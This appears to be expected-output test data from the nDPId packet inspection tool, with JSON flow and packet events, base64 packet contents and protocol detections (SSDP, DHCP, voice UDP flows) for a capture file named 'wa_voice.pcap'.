+00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":347,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455704556,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.162.244","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":347,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1561455706979,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":64716,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":347,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1561455704557,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455709,"pkt_ts_usec":888553,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD7kLkxKPrKCABFAABNP9UAAP8R2BrAqAIM4AAA+xTpFOkAOUTGAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAwAAQhfYWlycGxhecASAAwAAQ=="} +00492{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455709,"pkt_ts_usec":890098,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD7kLkxKPrKht1gDagnADkR\/\/6AAAAAAAAABBRAnYr9nwX\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5e0MAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADAABCF9haXJwbGF5wBIADAAB"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":349,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1561455709984,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":64716,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455709,"pkt_ts_usec":984212,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6kLkxKPrKCABFAACggMsAAAIRhNPAqAIM7\/\/\/+vzMB2wAjOY9TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTklQQ29ubmVjdGlvbjoxDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KTVg6IDMNCg0K"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":349,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1561455709984,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":64716,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00581{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455713,"pkt_ts_usec":15065,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6kLkxKPrKCABFAAChffAAAAIRh63AqAIM7\/\/\/+vzMB2wAjYZETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTlBQUENvbm5lY3Rpb246MQ0KTUFOOiAic3NkcDpkaXNjb3ZlciINCk1YOiAzDQoNCg=="} +00537{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455716,"pkt_ts_usec":20462,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"AQBef\/\/6kLkxKPrKCABFAACBk7cAAAIRcgbAqAIM7\/\/\/+vzMB2wAbSFSTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cG5wOnJvb3RkZXZpY2UNCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00462{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455718,"pkt_ts_usec":911851,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD7kLkxKPrKCABFAABNWGMAAP8Rv4zAqAIM4AAA+xTpFOkAOUTGAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAwAAQhfYWlycGxhecASAAwAAQ=="} +00492{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455718,"pkt_ts_usec":912134,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD7kLkxKPrKht1gDagnADkR\/\/6AAAAAAAAABBRAnYr9nwX\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5e0MAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADAABCF9haXJwbGF5wBIADAAB"} +00402{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":106588,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":48,"pkt_l4_len":14,"pkt":"xiwDYGpkkLkxKPrKCABFAAAib6IAAEAR0zfAqAIMHw1WMNwIDZYADqAHaGVhbHRo"} +00398{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":122194,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":44,"pkt_l4_len":10,"pkt":"kLkxKPrKxiwDYGpkCABFAAAeOvQAAFQR8+kfDVYwwKgCDA2W3AgACo7+T0s="} +00566{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":210990,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACavJYAAEARhcvAqAIMHw1WMNwIDZYAhhEcAAMAaiESpEKmZ0918K0sABMVs0BAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":211048,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACauRwAAEARiUXAqAIMHw1WMNwIDZYAhhEbAAMAaiESpEKmZ0918K0sABMVs0FAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":211603,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa2X4AAEARTLDAqAIMuTzYM9wIDZYAhvTmAAMAaiESpEKmZ0918K0sABMVs0JAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":211659,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaK6kAAEAR+oXAqAIMuTzYM9wIDZYAhvTlAAMAaiESpEKmZ0918K0sABMVs0NAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":212169,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaXjgAAEAR+kXAqAIMnfDBMNwIDZYAhic0AAMAaiESpEKmZ0918K0sABMVs0RAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":212288,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaAzgAAEARVUbAqAIMnfDBMNwIDZYAhiczAAMAaiESpEKmZ0918K0sABMVs0VAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":212695,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaPBgAAEARCBrAqAIMszzAMNwIDZYAhhLmAAMAaiESpEKmZ0918K0sABMVs0ZAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00567{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":212821,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa\/iEAAEARRhDAqAIMszzAMNwIDZYAhhLlAAMAaiESpEKmZ0918K0sABMVs0dAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00567{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":213259,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa6sAAAEARaq\/AqAIMnfDEPtwIDZYAhiQiAAMAaiESpEKmZ0918K0sABMVs0hAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":213382,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaA0YAAEARUirAqAIMnfDEPtwIDZYAhiQhAAMAaiESpEKmZ0918K0sABMVs0lAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00454{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":227302,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIOv8AAFQR87QfDVYwwKgCDA2W3AgANJYmAQMAGCESpEKmZ0918K0sABMVs0AAIAAIAAHthnGmBnJAAgAIAAABa44Dcz0="} +00455{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":227303,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIOwAAAFQR87MfDVYwwKgCDA2W3AgANJYlAQMAGCESpEKmZ0918K0sABMVs0EAIAAIAAHthnGmBnJAAgAIAAABa44Dcz0="} +00454{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":232855,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIDM4AAFMRNfSd8MQ+wKgCDA2W3AgANKkmAQMAGCESpEKmZ0918K0sABMVs0gAIAAIAAHthnGmBnJAAgAIAAABa44Dc0M="} +00454{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":233138,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIDM8AAFMRNfOd8MQ+wKgCDA2W3AgANKklAQMAGCESpEKmZ0918K0sABMVs0kAIAAIAAHthnGmBnJAAgAIAAABa44Dc0M="} +00454{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":240741,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIjAkAAFMRpXqzPMAwwKgCDA2W3AgANJfpAQMAGCESpEKmZ0918K0sABMVs0YAIAAIAAHthnGmBnJAAgAIAAABa44Dc0Q="} +00454{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":240742,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIjAoAAFMRpXmzPMAwwKgCDA2W3AgANJfoAQMAGCESpEKmZ0918K0sABMVs0cAIAAIAAHthnGmBnJAAgAIAAABa44Dc0Q="} +00455{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":244228,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIY9gAAFER4\/ed8MEwwKgCDA2W3AgANKw0AQMAGCESpEKmZ0918K0sABMVs0QAIAAIAAHthnGmBnJAAgAIAAABa44Dc0c="} +00455{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":244228,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIY9kAAFER4\/ad8MEwwKgCDA2W3AgANKwzAQMAGCESpEKmZ0918K0sABMVs0UAIAAIAAHthnGmBnJAAgAIAAABa44Dc0c="} +00454{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":246926,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIN+UAAFMR25u5PNgzwKgCDA2W3AgANHniAQMAGCESpEKmZ0918K0sABMVs0IAIAAIAAHthnGmBnJAAgAIAAABa44Dc0w="} +00454{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":248009,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIN+YAAFMR25q5PNgzwKgCDA2W3AgANHnhAQMAGCESpEKmZ0918K0sABMVs0MAIAAIAAHthnGmBnJAAgAIAAABa44Dc0w="} +00403{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":319676,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":48,"pkt_l4_len":14,"pkt":"xiwDYGpkkLkxKPrKCABFAAAih78AAEARuxrAqAIMHw1WMNwIDZYADqAHaGVhbHRo"} +00399{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455719,"pkt_ts_usec":331922,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":44,"pkt_l4_len":10,"pkt":"kLkxKPrKxiwDYGpkCABFAAAeO2sAAFQR83IfDVYwwKgCDA2W3AgACo7+T0s="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":427,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1561455721320,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00811{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455721,"pkt_ts_usec":320417,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFInqQAAP8RHAEAAAAA\/\/\/\/\/wBEAEMBNNuDAQEGAH5K8tcAAAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1561455721320,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00403{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455722,"pkt_ts_usec":362940,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":48,"pkt_l4_len":14,"pkt":"xiwDYGpkkLkxKPrKCABFAAAi46wAAEARXy3AqAIMHw1WMNwIDZYADqAHaGVhbHRo"} +00399{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455722,"pkt_ts_usec":380824,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":44,"pkt_l4_len":10,"pkt":"kLkxKPrKxiwDYGpkCABFAAAePgMAAFQR8NofDVYwwKgCDA2W3AgACo7+T0s="} +00811{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455722,"pkt_ts_usec":541136,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFInqUAAP8RHAAAAAAA\/\/\/\/\/wBEAEMBNNuCAQEGAH5K8tcAAQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} 